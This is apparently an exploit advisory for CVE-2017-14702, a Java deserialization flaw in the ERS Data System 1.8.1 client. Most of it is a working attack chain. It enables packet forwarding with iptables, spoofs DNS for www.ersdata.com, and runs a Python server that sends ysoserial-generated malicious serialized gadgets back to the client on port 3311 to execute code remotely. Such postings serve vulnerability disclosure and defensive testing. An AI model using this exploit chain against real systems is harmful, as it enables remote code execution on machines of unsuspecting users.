ERS Data System 1.8.1 Java Deserialization

2017.10.05
Credit: West Shepherd
Risk: High
Local: No
Remote: Yes
CWE: N/A


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

# Exploit Title: ERS Data System 1.8.1 Deserialize Vulnerability # Google Dork: N/A # Date: 9/21/2017 # Exploit Author: West Shepherd # Vendor Homepage: http://www.ersdata.com # Software Link: www.ersdata.com/downloads/ErsSetup.exe # Version: 1.8.1.0 # Tested on: Windows 7 x86 # CVE : CVE-2017-14702 # Description: # ERS Data System 1.8.1.0 allows remote attackers to execute arbitrary code, related to the use of # com.branaghgroup.ecers.update.UpdateRequest deserialization. # Exploitaiton: # The ERS Data System thick client connects to the www.ersdata.com API via an unencrypted HTTP connection on TCP port 3311. # To redirect requests from the thick client to the attacking machine, enable packet forwarding: #!/bin/bash #echo 1 > /proc/sys/net/ipv4/ip_forward #iptables -F INPUT #iptables -F FORWARD #iptables -F OUTPUT #iptables -F -t nat #iptables -A FORWARD -m state --state ESTABLISHED,RELATED -j ACCEPT #iptables -t nat -A POSTROUTING -s 192.168.85.0/24 ! -d 192.168.85.0/24 -j MASQUERADE #iptables -P INPUT ACCEPT #iptables -P FORWARD ACCEPT #iptables -P OUTPUT ACCEPT # Then poison DNS requests to the www.ersdata.com domain: # DNS Spoof https://github.com/devleoper/arp-dns-spoof # root@kali:/usr/share/arp-dns-spoof# cat dns_packet_spoof.py | egrep "domain =|localIP =" # domain = 'www.ersdata.com' # domain to be spoofed # localIP = '192.168.85.131' # IP address for poisoned hosts. # Run the request handler on the attacking machine, which will answer all requests with malicous serialized gadgets. For example: #!/usr/bin/python import SocketServer, sys from SimpleHTTPServer import SimpleHTTPRequestHandler # POST Handler class HTTPHandler(SimpleHTTPRequestHandler): def __init__(self,req,client_addr,server): SimpleHTTPRequestHandler.__init__(self,req,client_addr,server) def do_POST(self): # java -jar ysoserial-master-v0.0.5-g1f2e7bf-14.jar CommonsCollections1 calc.exe > calc.bin # python -c 'import binascii, re;print "\\x"+"\\x".join(re.findall("..",binascii.hexlify(open("calc.bin","rb").read())))' response = ( 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) self.send_response(200) self.send_header("Content-type", "text/html") self.send_header("Content-length", len(response)) self.end_headers() self.wfile.write(response) try: httpd = SocketServer.TCPServer(("", 3311), HTTPHandler) print "Serving at port: ", 3311 httpd.serve_forever() except: print "Exiting..."


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